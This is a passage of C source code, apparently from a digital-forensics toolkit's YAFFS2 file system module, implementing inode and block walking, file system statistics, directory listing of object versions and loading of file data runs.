TSK_FS_META_FLAG_UNALLOC, TSK_FS_META_FLAG_ORPHAN * * Return 1 on error and 0 on success */ static uint8_t yaffsfs_inode_walk(TSK_FS_INFO *fs, TSK_INUM_T start_inum, TSK_INUM_T end_inum, TSK_FS_META_FLAG_ENUM flags, TSK_FS_META_WALK_CB a_action, void *a_ptr) { YAFFSFS_INFO *yfs = (YAFFSFS_INFO *)fs; TSK_FS_FILE *fs_file; TSK_RETVAL_ENUM result; uint32_t start_obj_id; uint32_t start_ver_number; uint32_t end_obj_id; uint32_t end_ver_number; uint32_t obj_id; YaffsCacheObject *curr_obj; YaffsCacheVersion *curr_version; result = yaffscache_inode_to_obj_id_and_version(start_inum, &start_obj_id, &start_ver_number); result = yaffscache_inode_to_obj_id_and_version(end_inum, &end_obj_id, &end_ver_number); if (end_obj_id < start_obj_id) { tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS_WALK_RNG); tsk_error_set_errstr("yaffsfs_inode_walk: end object id must be >= start object id: " "%" PRIx32 " must be >= %" PRIx32 "", end_obj_id, start_obj_id); return 1; } /* The ORPHAN flag is unsupported for YAFFS2 */ if (flags & TSK_FS_META_FLAG_ORPHAN) { if (tsk_verbose){ tsk_fprintf(stderr, "yaffsfs_inode_walk: ORPHAN flag unsupported by YAFFS2"); } } if (((flags & TSK_FS_META_FLAG_ALLOC) == 0) && ((flags & TSK_FS_META_FLAG_UNALLOC) == 0)) { flags = (TSK_FS_META_FLAG_ENUM)(flags | TSK_FS_META_FLAG_ALLOC | TSK_FS_META_FLAG_UNALLOC); } /* If neither of the USED or UNUSED flags are set, then set them * both */ if (((flags & TSK_FS_META_FLAG_USED) == 0) && ((flags & TSK_FS_META_FLAG_UNUSED) == 0)) { flags = (TSK_FS_META_FLAG_ENUM)(flags | TSK_FS_META_FLAG_USED | TSK_FS_META_FLAG_UNUSED); } if ((fs_file = tsk_fs_file_alloc(fs)) == NULL) return 1; if ((fs_file->meta = tsk_fs_meta_alloc(YAFFS_FILE_CONTENT_LEN)) == NULL) return 1; for (obj_id = start_obj_id; obj_id <= end_obj_id; obj_id++) { int retval; result = yaffscache_version_find_by_inode(yfs, obj_id, &curr_version, &curr_obj); if (result == TSK_OK) { TSK_INUM_T curr_inode; YaffsCacheVersion *version; // ALLOC, UNALLOC, or both are set at this point if (flags & TSK_FS_META_FLAG_ALLOC) { // Allocated only - just look at current version if (yaffscache_obj_id_and_version_to_inode(obj_id, curr_obj->yco_latest->ycv_version, &curr_inode) != TSK_OK) { tsk_fs_file_close(fs_file); return 1; } // It's possible for the current version to be unallocated if the last header was a deleted or unlinked header if(yaffs_is_version_allocated(yfs, curr_inode)){ if (yaffs_inode_lookup(fs, fs_file, curr_inode) != TSK_OK) { tsk_fs_file_close(fs_file); return 1; } retval = a_action(fs_file, a_ptr); if (retval == TSK_WALK_STOP) { tsk_fs_file_close(fs_file); return 0; } else if (retval == TSK_WALK_ERROR) { tsk_fs_file_close(fs_file); return 1; } } } if (flags & TSK_FS_META_FLAG_UNALLOC){ for (version = curr_obj->yco_latest; version != NULL; version = version->ycv_prior) { if (yaffscache_obj_id_and_version_to_inode(obj_id, version->ycv_version, &curr_inode) != TSK_OK) { tsk_fs_file_close(fs_file); return 1; } if(! yaffs_is_version_allocated(yfs, curr_inode)){ if (yaffs_inode_lookup(fs, fs_file, curr_inode) != TSK_OK) { tsk_fs_file_close(fs_file); return 1; } retval = a_action(fs_file, a_ptr); if (retval == TSK_WALK_STOP) { tsk_fs_file_close(fs_file); return 0; } else if (retval == TSK_WALK_ERROR) { tsk_fs_file_close(fs_file); return 1; } } } } curr_obj = curr_obj->yco_next; } } /* * Cleanup. */ tsk_fs_file_close(fs_file); return 0; } static TSK_FS_BLOCK_FLAG_ENUM yaffsfs_block_getflags(TSK_FS_INFO *fs, TSK_DADDR_T a_addr) { YAFFSFS_INFO *yfs = (YAFFSFS_INFO *)fs; TSK_FS_BLOCK_FLAG_ENUM flags = TSK_FS_BLOCK_FLAG_UNUSED; TSK_OFF_T offset = (a_addr * (fs->block_pre_size + fs->block_size + fs->block_post_size)) + yfs->page_size; YaffsSpare *spare = NULL; YaffsHeader *header = NULL; if (yaffsfs_read_spare(yfs, &spare, offset) != TSK_OK) { /* NOTE: Uh, how do we signal error? */ return flags; } if (yaffsfs_is_spare_valid(yfs, spare) == TSK_OK) { /* XXX: Do we count blocks of older versions unallocated? * If so, we need a smarter way to do this :/ * * Walk the object from this block and see if this * block is used in the latest version. Could pre- * calculate this at cache time as well. */ if (spare->chunk_id == 0) { flags = (TSK_FS_BLOCK_FLAG_ENUM)(flags | TSK_FS_BLOCK_FLAG_META); } else { flags = (TSK_FS_BLOCK_FLAG_ENUM)(flags | TSK_FS_BLOCK_FLAG_CONT); } // Have obj id and offset // 1. Is the current version of this object allocated? // 2. If this is a header, is it the header of the current version? // 3. Is the chunk id too big given the current header? // 4. Is there a more recent version of this chunk id? YaffsCacheObject * obj = NULL; yaffscache_object_find(yfs, spare->object_id, &obj); // The result really shouldn't be NULL since we loaded every chunk if(obj != NULL){ if(! yaffs_is_version_allocated(yfs, spare->object_id)){ // If the current version isn't allocated, then no chunks in it are flags = (TSK_FS_BLOCK_FLAG_ENUM)(flags | TSK_FS_BLOCK_FLAG_UNALLOC); } else if (obj->yco_latest == NULL || obj->yco_latest->ycv_header_chunk == NULL) { flags = (TSK_FS_BLOCK_FLAG_ENUM)(flags | TSK_FS_BLOCK_FLAG_UNALLOC); } else if(spare->chunk_id == 0){ if(obj->yco_latest->ycv_header_chunk->ycc_offset == offset - yfs->page_size){ // Have header chunk and it's the most recent header chunk flags = (TSK_FS_BLOCK_FLAG_ENUM)(flags | TSK_FS_BLOCK_FLAG_ALLOC); } else{ // Have header chunk but isn't the most recent flags = (TSK_FS_BLOCK_FLAG_ENUM)(flags | TSK_FS_BLOCK_FLAG_UNALLOC); } } else{ // Read in the full header yaffsfs_read_header(yfs, &header, obj->yco_latest->ycv_header_chunk->ycc_offset); // chunk_id is 1-based, so for example chunk id 2 would be too big for a file // 500 bytes long if(header->file_size <= ((spare->chunk_id - 1) * (fs->block_size))){ flags = (TSK_FS_BLOCK_FLAG_ENUM)(flags | TSK_FS_BLOCK_FLAG_UNALLOC); } else{ // Since at this point we know there should be a chunk with this chunk id in the file, if // this is the most recent version of the chunk assume it's part of the current version of the object. YaffsCacheChunk * curr = obj->yco_latest->ycv_last_chunk; while(curr != NULL){ // curr should really never make it to the beginning of the list // Did we find our chunk? if(curr->ycc_offset == offset - yfs->page_size){ flags = (TSK_FS_BLOCK_FLAG_ENUM)(flags | TSK_FS_BLOCK_FLAG_ALLOC); break; } // Did we find a different chunk with our chunk id? if(curr->ycc_chunk_id == spare->chunk_id){ flags = (TSK_FS_BLOCK_FLAG_ENUM)(flags | TSK_FS_BLOCK_FLAG_UNALLOC); break; } curr = curr->ycc_prev; } } } } } else { flags = (TSK_FS_BLOCK_FLAG_ENUM)(flags | TSK_FS_BLOCK_FLAG_UNUSED | TSK_FS_BLOCK_FLAG_UNALLOC); } free(spare); free(header); return flags; } /* yaffsfs_block_walk - block iterator * * flags: TSK_FS_BLOCK_FLAG_ALLOC, TSK_FS_BLOCK_FLAG_UNALLOC, TSK_FS_BLOCK_FLAG_CONT, * TSK_FS_BLOCK_FLAG_META * * Return 1 on error and 0 on success */ static uint8_t yaffsfs_block_walk(TSK_FS_INFO *a_fs, TSK_DADDR_T a_start_blk, TSK_DADDR_T a_end_blk, TSK_FS_BLOCK_WALK_FLAG_ENUM a_flags, TSK_FS_BLOCK_WALK_CB a_action, void *a_ptr) { TSK_FS_BLOCK *fs_block; TSK_DADDR_T addr; // clean up any error messages that are lying around tsk_error_reset(); /* * Sanity checks. */ if (a_start_blk < a_fs->first_block || a_start_blk > a_fs->last_block) { tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS_WALK_RNG); tsk_error_set_errstr("yaffsfs_block_walk: start block: %" PRIuDADDR, a_start_blk); return 1; } if (a_end_blk < a_fs->first_block || a_end_blk > a_fs->last_block || a_end_blk < a_start_blk) { tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS_WALK_RNG); tsk_error_set_errstr("yaffsfs_block_walk: end block: %" PRIuDADDR , a_end_blk); return 1; } /* Sanity check on a_flags -- make sure at least one ALLOC is set */ if (((a_flags & TSK_FS_BLOCK_WALK_FLAG_ALLOC) == 0) && ((a_flags & TSK_FS_BLOCK_WALK_FLAG_UNALLOC) == 0)) { a_flags = (TSK_FS_BLOCK_WALK_FLAG_ENUM) (a_flags | TSK_FS_BLOCK_WALK_FLAG_ALLOC | TSK_FS_BLOCK_WALK_FLAG_UNALLOC); } if (((a_flags & TSK_FS_BLOCK_WALK_FLAG_META) == 0) && ((a_flags & TSK_FS_BLOCK_WALK_FLAG_CONT) == 0)) { a_flags = (TSK_FS_BLOCK_WALK_FLAG_ENUM) (a_flags | TSK_FS_BLOCK_WALK_FLAG_CONT | TSK_FS_BLOCK_WALK_FLAG_META); } if ((fs_block = tsk_fs_block_alloc(a_fs)) == NULL) { return 1; } for (addr = a_start_blk; addr <= a_end_blk; addr++) { int retval; int myflags; myflags = yaffsfs_block_getflags(a_fs, addr); // test if we should call the callback with this one if ((myflags & TSK_FS_BLOCK_FLAG_META) && (!(a_flags & TSK_FS_BLOCK_WALK_FLAG_META))) continue; else if ((myflags & TSK_FS_BLOCK_FLAG_CONT) && (!(a_flags & TSK_FS_BLOCK_WALK_FLAG_CONT))) continue; else if ((myflags & TSK_FS_BLOCK_FLAG_ALLOC) && (!(a_flags & TSK_FS_BLOCK_WALK_FLAG_ALLOC))) continue; else if ((myflags & TSK_FS_BLOCK_FLAG_UNALLOC) && (!(a_flags & TSK_FS_BLOCK_WALK_FLAG_UNALLOC))) continue; if (tsk_fs_block_get(a_fs, fs_block, addr) == NULL) { tsk_error_set_errstr2("yaffsfs_block_walk: block %" PRIuDADDR, addr); tsk_fs_block_free(fs_block); return 1; } retval = a_action(fs_block, a_ptr); if (retval == TSK_WALK_STOP) { break; } else if (retval == TSK_WALK_ERROR) { tsk_fs_block_free(fs_block); return 1; } } /* * Cleanup. */ tsk_fs_block_free(fs_block); return 0; } static uint8_t yaffsfs_fscheck(TSK_FS_INFO * /*fs*/, FILE * /*hFile*/) { tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS_UNSUPFUNC); tsk_error_set_errstr("fscheck not implemented yet for YAFFS"); return 1; } /** * Print details about the file system to a file handle. * * @param fs File system to print details on * @param hFile File handle to print text to * * @returns 1 on error and 0 on success */ static uint8_t yaffsfs_fsstat(TSK_FS_INFO * fs, FILE * hFile) { YAFFSFS_INFO *yfs = (YAFFSFS_INFO *) fs; unsigned int obj_count, version_count; uint32_t obj_first, obj_last, version_first, version_last; // clean up any error messages that are lying around tsk_error_reset(); tsk_fprintf(hFile, "FILE SYSTEM INFORMATION\n"); tsk_fprintf(hFile, "--------------------------------------------\n"); tsk_fprintf(hFile, "File System Type: YAFFS2\n"); tsk_fprintf(hFile, "Page Size: %u\n", yfs->page_size); tsk_fprintf(hFile, "Spare Size: %u\n", yfs->spare_size); tsk_fprintf(hFile, "Spare Offsets: Sequence number: %d, Object ID: %d, Chunk ID: %d, nBytes: %d\n", yfs->spare_seq_offset, yfs->spare_obj_id_offset, yfs->spare_chunk_id_offset, yfs->spare_nbytes_offset); tsk_fprintf(hFile, "\nMETADATA INFORMATION\n"); tsk_fprintf(hFile, "--------------------------------------------\n"); yaffscache_objects_stats(yfs, &obj_count, &obj_first, &obj_last, &version_count, &version_first, &version_last); tsk_fprintf(hFile, "Number of Allocated Objects: %u\n", obj_count); tsk_fprintf(hFile, "Object Id Range: %" PRIu32 " - %" PRIu32 "\n", obj_first, obj_last); tsk_fprintf(hFile, "Number of Total Object Versions: %u\n", version_count); tsk_fprintf(hFile, "Object Version Range: %" PRIu32 " - %" PRIu32 "\n", version_first, version_last); return 0; } /************************* istat *******************************/ typedef struct { FILE *hFile; int idx; } YAFFSFS_PRINT_ADDR; /* Callback for istat to print the block addresses */ static TSK_WALK_RET_ENUM print_addr_act(YAFFSFS_INFO * /*fs_file*/, TSK_OFF_T /*a_off*/, TSK_DADDR_T addr, char * /*buf*/, size_t /*size*/, TSK_FS_BLOCK_FLAG_ENUM flags, void *a_ptr) { YAFFSFS_PRINT_ADDR *print = (YAFFSFS_PRINT_ADDR *) a_ptr; if (flags & TSK_FS_BLOCK_FLAG_CONT) { tsk_fprintf(print->hFile, "%" PRIuDADDR " ", addr); if (++(print->idx) == 8) { tsk_fprintf(print->hFile, "\n"); print->idx = 0; } } return TSK_WALK_CONT; } /** * Print details on a specific file to a file handle. * * @param fs File system file is located in * @param hFile File handle to print text to * @param inum Address of file in file system * @param numblock The number of blocks in file to force print (can go beyond file size) * @param sec_skew Clock skew in seconds to also print times in * * @returns 1 on error and 0 on success */ static uint8_t yaffsfs_istat(TSK_FS_INFO *fs, TSK_FS_ISTAT_FLAG_ENUM flags, FILE * hFile, TSK_INUM_T inum, TSK_DADDR_T numblock, int32_t sec_skew) { TSK_FS_META *fs_meta; TSK_FS_FILE *fs_file; YAFFSFS_INFO *yfs = (YAFFSFS_INFO *)fs; char ls[12]; YAFFSFS_PRINT_ADDR print; char timeBuf[128]; YaffsCacheObject * obj = NULL; YaffsCacheVersion * version = NULL; YaffsHeader * header = NULL; yaffscache_version_find_by_inode(yfs, inum, &version, &obj); if ((fs_file = tsk_fs_file_open_meta(fs, NULL, inum)) == NULL) { return 1; } fs_meta = fs_file->meta; tsk_fprintf(hFile, "inode: %" PRIuINUM "\n", inum); tsk_fprintf(hFile, "%sAllocated\n", (fs_meta->flags & TSK_FS_META_FLAG_ALLOC) ? "" : "Not "); if (fs_meta->link) tsk_fprintf(hFile, "symbolic link to: %s\n", fs_meta->link); tsk_fprintf(hFile, "uid / gid: %" PRIuUID " / %" PRIuGID "\n", fs_meta->uid, fs_meta->gid); tsk_fs_meta_make_ls(fs_meta, ls, sizeof(ls)); tsk_fprintf(hFile, "mode: %s\n", ls); tsk_fprintf(hFile, "size: %" PRIdOFF "\n", fs_meta->size); tsk_fprintf(hFile, "num of links: %d\n", fs_meta->nlink); if(version != NULL){ yaffsfs_read_header(yfs, &header, version->ycv_header_chunk->ycc_offset); if(header != NULL){ tsk_fprintf(hFile, "Name: %s\n", header->name); } } if (sec_skew != 0) { tsk_fprintf(hFile, "\nAdjusted Inode Times:\n"); fs_meta->mtime -= sec_skew; fs_meta->atime -= sec_skew; fs_meta->ctime -= sec_skew; tsk_fprintf(hFile, "Accessed:\t%s\n", tsk_fs_time_to_str(fs_meta->atime, timeBuf)); tsk_fprintf(hFile, "File Modified:\t%s\n", tsk_fs_time_to_str(fs_meta->mtime, timeBuf)); tsk_fprintf(hFile, "Inode Modified:\t%s\n", tsk_fs_time_to_str(fs_meta->ctime, timeBuf)); fs_meta->mtime += sec_skew; fs_meta->atime += sec_skew; fs_meta->ctime += sec_skew; tsk_fprintf(hFile, "\nOriginal Inode Times:\n"); } else { tsk_fprintf(hFile, "\nInode Times:\n"); } tsk_fprintf(hFile, "Accessed:\t%s\n", tsk_fs_time_to_str(fs_meta->atime, timeBuf)); tsk_fprintf(hFile, "File Modified:\t%s\n", tsk_fs_time_to_str(fs_meta->mtime, timeBuf)); tsk_fprintf(hFile, "Inode Modified:\t%s\n", tsk_fs_time_to_str(fs_meta->ctime, timeBuf)); if(version != NULL){ tsk_fprintf(hFile, "\nHeader Chunk:\n"); tsk_fprintf(hFile, "%" PRIuDADDR "\n", (version->ycv_header_chunk->ycc_offset / (yfs->page_size + yfs->spare_size))); } if (numblock > 0) { TSK_OFF_T lower_size = numblock * fs->block_size; fs_meta->size = (lower_size < fs_meta->size)?(lower_size):(fs_meta->size); } tsk_fprintf(hFile, "\nData Chunks:\n"); if (flags & TSK_FS_ISTAT_RUNLIST){ const TSK_FS_ATTR *fs_attr_default = tsk_fs_file_attr_get_type(fs_file, TSK_FS_ATTR_TYPE_DEFAULT, 0, 0); if (fs_attr_default && (fs_attr_default->flags & TSK_FS_ATTR_NONRES)) { if (tsk_fs_attr_print(fs_attr_default, hFile)) { tsk_fprintf(hFile, "\nError creating run lists "); tsk_error_print(hFile); tsk_error_reset(); } } } else { print.idx = 0; print.hFile = hFile; if (tsk_fs_file_walk(fs_file, TSK_FS_FILE_WALK_FLAG_AONLY, (TSK_FS_FILE_WALK_CB)print_addr_act, (void *)&print)) { tsk_fprintf(hFile, "\nError reading file: "); tsk_error_print(hFile); tsk_error_reset(); } else if (print.idx != 0) { tsk_fprintf(hFile, "\n"); } } tsk_fs_file_close(fs_file); return 0; } /* yaffsfs_close - close an yaffsfs file system */ static void yaffsfs_close(TSK_FS_INFO *fs) { if(fs != NULL){ YAFFSFS_INFO *yfs = (YAFFSFS_INFO *)fs; fs->tag = 0; // Walk and free the cache structures yaffscache_objects_free(yfs); yaffscache_chunks_free(yfs); //tsk_deinit_lock(&yaffsfs->lock); tsk_fs_free(fs); } } typedef struct _dir_open_cb_args { YAFFSFS_INFO *yfs; TSK_FS_DIR *dir; TSK_INUM_T parent_addr; } dir_open_cb_args; static TSK_RETVAL_ENUM yaffs_dir_open_meta_cb(YaffsCacheObject * /*obj*/, YaffsCacheVersion *version, void *args) { dir_open_cb_args *cb_args = (dir_open_cb_args *) args; YaffsCacheChunk *chunk = version->ycv_header_chunk; TSK_INUM_T curr_inode = 0; uint32_t obj_id = chunk->ycc_obj_id; uint32_t chunk_id = chunk->ycc_chunk_id; uint32_t vnum = version->ycv_version; YaffsHeader *header = NULL; TSK_FS_NAME * fs_name; char *file_ext; char version_string[64]; // Allow a max of 64 bytes in the version string yaffscache_obj_id_and_version_to_inode(obj_id, vnum, &curr_inode); if (chunk_id != 0) { return TSK_ERR; } if (tsk_verbose) fprintf(stderr, "dir_open_find_children_cb: %08" PRIxINUM " -> %08" PRIx32 ":%d\n", cb_args->parent_addr, obj_id, vnum); if (yaffsfs_read_header(cb_args->yfs, &header, chunk->ycc_offset) != TSK_OK) { return TSK_ERR; } if ((fs_name = tsk_fs_name_alloc(YAFFSFS_MAXNAMLEN + 64, 0)) == NULL) { free(header); return TSK_ERR; } switch (obj_id) { case YAFFS_OBJECT_LOSTNFOUND: strncpy(fs_name->name, YAFFS_OBJECT_LOSTNFOUND_NAME, fs_name->name_size - 64); break; case YAFFS_OBJECT_UNLINKED: strncpy(fs_name->name, YAFFS_OBJECT_UNLINKED_NAME, fs_name->name_size - 64); break; case YAFFS_OBJECT_DELETED: strncpy(fs_name->name, YAFFS_OBJECT_DELETED_NAME, fs_name->name_size - 64); break; default: strncpy(fs_name->name, header->name, fs_name->name_size - 64); break; } fs_name->name[fs_name->name_size - 65] = 0; // Only put object/version string onto unallocated versions if(! yaffs_is_version_allocated(cb_args->yfs, curr_inode)){ // Also copy the extension so that it also shows up after the version string, which allows // easier searching by file extension. Max extension length is 5 characters after the dot, // and require at least one character before the dot file_ext = strrchr(fs_name->name, '.'); if((file_ext != NULL) && (file_ext != fs_name->name) && (strlen(file_ext) < 7)){ snprintf(version_string, 64, "#%d,%d%s", obj_id, vnum, file_ext); } else{ snprintf(version_string, 64, "#%d,%d", obj_id, vnum); } strncat(fs_name->name, version_string, 64); fs_name->flags = TSK_FS_NAME_FLAG_UNALLOC; } else{ fs_name->flags = TSK_FS_NAME_FLAG_ALLOC; } fs_name->meta_addr = curr_inode; switch (header->obj_type) { case YAFFS_TYPE_FILE: fs_name->type = TSK_FS_NAME_TYPE_REG; break; case YAFFS_TYPE_DIRECTORY: fs_name->type = TSK_FS_NAME_TYPE_DIR; break; case YAFFS_TYPE_SOFTLINK: case YAFFS_TYPE_HARDLINK: fs_name->type = TSK_FS_NAME_TYPE_LNK; break; case YAFFS_TYPE_SPECIAL: fs_name->type = TSK_FS_NAME_TYPE_UNDEF; // Could be a socket break; default: if (tsk_verbose) fprintf(stderr, "yaffs_dir_open_meta_cb: unhandled object type\n"); fs_name->type = TSK_FS_NAME_TYPE_UNDEF; break; } free(header); if (tsk_fs_dir_add(cb_args->dir, fs_name)) { tsk_fs_name_free(fs_name); return TSK_ERR; } /* A copy is made in tsk_fs_dir_add, so we can free this one */ tsk_fs_name_free(fs_name); return TSK_OK; } static TSK_RETVAL_ENUM yaffsfs_dir_open_meta(TSK_FS_INFO *a_fs, TSK_FS_DIR ** a_fs_dir, TSK_INUM_T a_addr) { TSK_FS_DIR *fs_dir; TSK_FS_NAME *fs_name; YAFFSFS_INFO *yfs = (YAFFSFS_INFO *)a_fs; int should_walk_children = 0; uint32_t obj_id; uint32_t ver_number; if (a_addr < a_fs->first_inum || a_addr > a_fs->last_inum) { tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS_WALK_RNG); tsk_error_set_errstr("yaffs_dir_open_meta: Invalid inode value: %" PRIuINUM, a_addr); return TSK_ERR; } else if (a_fs_dir == NULL) { tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS_ARG); tsk_error_set_errstr("yaffs_dir_open_meta: NULL fs_dir argument given"); return TSK_ERR; } fs_dir = *a_fs_dir; if (fs_dir) { tsk_fs_dir_reset(fs_dir); fs_dir->addr = a_addr; } else if ((*a_fs_dir = fs_dir = tsk_fs_dir_alloc(a_fs, a_addr, 128)) == NULL) { return TSK_ERR; } if (tsk_verbose) fprintf(stderr,"yaffs_dir_open_meta: called for directory %" PRIu32 "\n", (uint32_t) a_addr); // handle the orphan directory if its contents were requested if (a_addr == TSK_FS_ORPHANDIR_INUM(a_fs)) { return tsk_fs_dir_find_orphans(a_fs, fs_dir); } if ((fs_name = tsk_fs_name_alloc(YAFFSFS_MAXNAMLEN, 0)) == NULL) { return TSK_ERR; } if ((fs_dir->fs_file = tsk_fs_file_open_meta(a_fs, NULL, a_addr)) == NULL) { tsk_error_errstr2_concat(" - yaffs_dir_open_meta"); tsk_fs_name_free(fs_name); return TSK_ERR; } // extract obj_id and ver_number from inum yaffscache_inode_to_obj_id_and_version(a_addr, &obj_id, &ver_number); // Decide if we should walk the directory structure if (obj_id == YAFFS_OBJECT_DELETED || obj_id == YAFFS_OBJECT_UNLINKED) { should_walk_children = 1; } else { YaffsCacheObject *obj; YaffsCacheVersion *versionFound; TSK_RETVAL_ENUM result = yaffscache_version_find_by_inode(yfs, a_addr, &versionFound, &obj); if (result != TSK_OK) { if (tsk_verbose) tsk_fprintf(stderr, "yaffsfs_dir_open_meta: yaffscache_version_find_by_inode failed! (inode: %d\n", a_addr); tsk_fs_name_free(fs_name); return TSK_ERR; } /* Only attach files onto the latest version of the directory */ should_walk_children = (obj->yco_latest == versionFound); } // Search the cache for the children of this object and add them to fs_dir if (should_walk_children) { dir_open_cb_args args; args.yfs = yfs; args.dir = fs_dir; args.parent_addr = a_addr; yaffscache_find_children(yfs, a_addr, yaffs_dir_open_meta_cb, &args); } // add special entries to root directory if (obj_id == YAFFS_OBJECT_ROOT) { strncpy(fs_name->name, YAFFS_OBJECT_UNLINKED_NAME, fs_name->name_size); fs_name->meta_addr = YAFFS_OBJECT_UNLINKED; fs_name->type = TSK_FS_NAME_TYPE_DIR; fs_name->flags = TSK_FS_NAME_FLAG_ALLOC; if (tsk_fs_dir_add(fs_dir, fs_name)) { tsk_fs_name_free(fs_name); return TSK_ERR; } strncpy(fs_name->name, YAFFS_OBJECT_DELETED_NAME, fs_name->name_size); fs_name->meta_addr = YAFFS_OBJECT_DELETED; fs_name->type = TSK_FS_NAME_TYPE_DIR; fs_name->flags = TSK_FS_NAME_FLAG_ALLOC; if (tsk_fs_dir_add(fs_dir, fs_name)) { tsk_fs_name_free(fs_name); return TSK_ERR; } // orphan directory if (tsk_fs_dir_make_orphan_dir_name(a_fs, fs_name)) { tsk_fs_name_free(fs_name); return TSK_ERR; } fs_name->meta_addr = yfs->fs_info.last_inum; fs_name->type = TSK_FS_NAME_TYPE_DIR; fs_name->flags = TSK_FS_NAME_FLAG_ALLOC; if (tsk_fs_dir_add(fs_dir, fs_name)) { tsk_fs_name_free(fs_name); return TSK_ERR; } } tsk_fs_name_free(fs_name); return TSK_OK; } static TSK_FS_ATTR_TYPE_ENUM yaffsfs_get_default_attr_type(const TSK_FS_FILE * /*a_file*/) { return TSK_FS_ATTR_TYPE_DEFAULT; } static uint8_t yaffsfs_load_attrs(TSK_FS_FILE *file) { TSK_FS_ATTR *attr; TSK_FS_META *meta; TSK_FS_INFO *fs; YAFFSFS_INFO *yfs; TSK_FS_ATTR_RUN *data_run; TSK_DADDR_T file_block_count; YaffsCacheObject *obj; YaffsCacheVersion *version; TSK_RETVAL_ENUM result; TSK_LIST *chunks_seen = NULL; YaffsCacheChunk *curr; TSK_FS_ATTR_RUN *data_run_new; if (file == NULL || file->meta == NULL || file->fs_info == NULL) { tsk_error_set_errno(TSK_ERR_FS_ARG); tsk_error_set_errstr ("yaffsfs_load_attrs: called with NULL pointers"); return 1; } meta = file->meta; yfs = (YAFFSFS_INFO *)file->fs_info; fs = &yfs->fs_info; // see if we have already loaded the runs if ((meta->attr != NULL) && (meta->attr_state == TSK_FS_META_ATTR_STUDIED)) { return 0; } else if (meta->attr_state == TSK_FS_META_ATTR_ERROR) { return 1; } // not sure why this would ever happen, but... else if (meta->attr != NULL) { tsk_fs_attrlist_markunused(meta->attr); } else if (meta->attr == NULL) { meta->attr = tsk_fs_attrlist_alloc(); } attr = tsk_fs_attrlist_getnew(meta->attr, TSK_FS_ATTR_NONRES); if (attr == NULL) { meta->attr_state = TSK_FS_META_ATTR_ERROR; return 1; } if (meta->size == 0) { data_run = NULL; } else { /* BC: I'm not entirely sure this is needed. My guess is that * this was done instead of maintaining the head of the list of * runs. In theory, the tsk_fs_attr_add_run() method should handle * the fillers. */ data_run = tsk_fs_attr_run_alloc(); if (data_run == NULL) { tsk_fs_attr_run_free(data_run); meta->attr_state = TSK_FS_META_ATTR_ERROR; return 1; } data_run->offset = 0; data_run->addr = 0; data_run->len = (meta->size + fs->block_size - 1) / fs->block_size; data_run->flags = TSK_FS_ATTR_RUN_FLAG_FILLER; } // initialize the data run if (tsk_fs_attr_set_run(file, attr, data_run, NULL, TSK_FS_ATTR_TYPE_DEFAULT, TSK_FS_ATTR_ID_DEFAULT, meta->size, meta->size, roundup(meta->size, fs->block_size), (TSK_FS_ATTR_FLAG_ENUM)0, 0)) { meta->attr_state = TSK_FS_META_ATTR_ERROR; return 1; } // If the file has size zero, return now if(meta->size == 0){ meta->attr_state = TSK_FS_META_ATTR_STUDIED; return 0; } /* Get the version for the given object. */ result = yaffscache_version_find_by_inode(yfs, meta->addr, &version, &obj); if (result != TSK_OK || version == NULL) { if (tsk_verbose) tsk_fprintf(stderr, "yaffsfs_load_attrs: yaffscache_version_find_by_inode failed!\n"); meta->attr_state = TSK_FS_META_ATTR_ERROR; return 1; } if (tsk_verbose) yaffscache_object_dump(stderr, obj); file_block_count = data_run->len; /* Cycle through the chunks for this version of this object */ curr = version->ycv_last_chunk; while (curr != NULL && curr->ycc_obj_id == obj->yco_obj_id) { if (curr->ycc_chunk_id == 0) { if (tsk_verbose) tsk_fprintf(stderr, "yaffsfs_load_attrs: skipping header chunk\n"); } else if (tsk_list_find(chunks_seen, curr->ycc_chunk_id)) { if (tsk_verbose) tsk_fprintf(stderr, "yaffsfs_load_attrs: skipping duplicate chunk\n"); } else if (curr->ycc_chunk_id > file_block_count) { if (tsk_verbose) tsk_fprintf(stderr, "yaffsfs_load_attrs: skipping chunk past end\n"); } /* We like this chunk */ else { // add it to our internal list if (tsk_list_add(&chunks_seen, curr->ycc_chunk_id)) { meta->attr_state = TSK_FS_META_ATTR_ERROR; tsk_list_free(chunks_seen); chunks_seen = NULL; return 1; } data_run_new = tsk_fs_attr_run_alloc(); if (data_run_new == NULL) { tsk_fs_attr_run_free(data_run_new); meta->attr_state = TSK_FS_META_ATTR_ERROR; return 1; } data_run_new->offset = (curr->ycc_chunk_id - 1); data_run_new->addr = curr->ycc_offset / (fs->block_pre_size + fs->block_size + fs->block_post_size); data_run_new->len = 1; data_run_new->flags = TSK_FS_ATTR_RUN_FLAG_NONE; if (tsk_verbose) tsk_fprintf(stderr, "yaffsfs_load_attrs: @@@ Chunk %d : %08x is at offset 0x%016llx\n", curr->ycc_chunk_id, curr->ycc_seq_number, curr->ycc_offset); tsk_fs_attr_add_run(fs, attr, data_run_new); } curr = curr->ycc_prev; } tsk_list_free(chunks_seen); meta->attr_state = TSK_FS_META_ATTR_STUDIED; return 0; } static uint8_t yaffsfs_jentry_walk(TSK_FS_INFO * /*info*/, int /*entry*/, TSK_FS_JENTRY_WALK_CB /*cb*/, void * /*fn*/) { tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS_UNSUPFUNC); tsk_error_set_errstr("Journal support for YAFFS is not implemented"); return 1; } static uint8_t yaffsfs_jblk_walk(TSK_FS_INFO * /*info*/, TSK_DADDR_T /*daddr*/, TSK_DADDR_T /*daddrt*/, int /*entry*/, TSK_FS_JBLK_WALK_CB /*cb*/, void * /*fn*/) { tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS_UNSUPFUNC); tsk_error_set_errstr("Journal support for YAFFS is not implemented"); return 1; } static uint8_t yaffsfs_jopen(TSK_FS_INFO * /*info*/, TSK_INUM_T /*inum*/) { tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS_UNSUPFUNC); tsk_error_set_errstr("Journal support for YAFFS is not implemented"); return 1; } /** * \internal * Open part of a disk image as a Yaffs/2 file system. * * @param img_info Disk image to analyze * @param offset Byte offset where file system starts * @param ftype Specific type of file system * @param test Going to use this - 1 if we're doing auto-detect, 0 if not (display more verbose messages if the user specified YAFFS2) * @returns NULL on error or if data is not an Yaffs/3 file system */ TSK_FS_INFO * 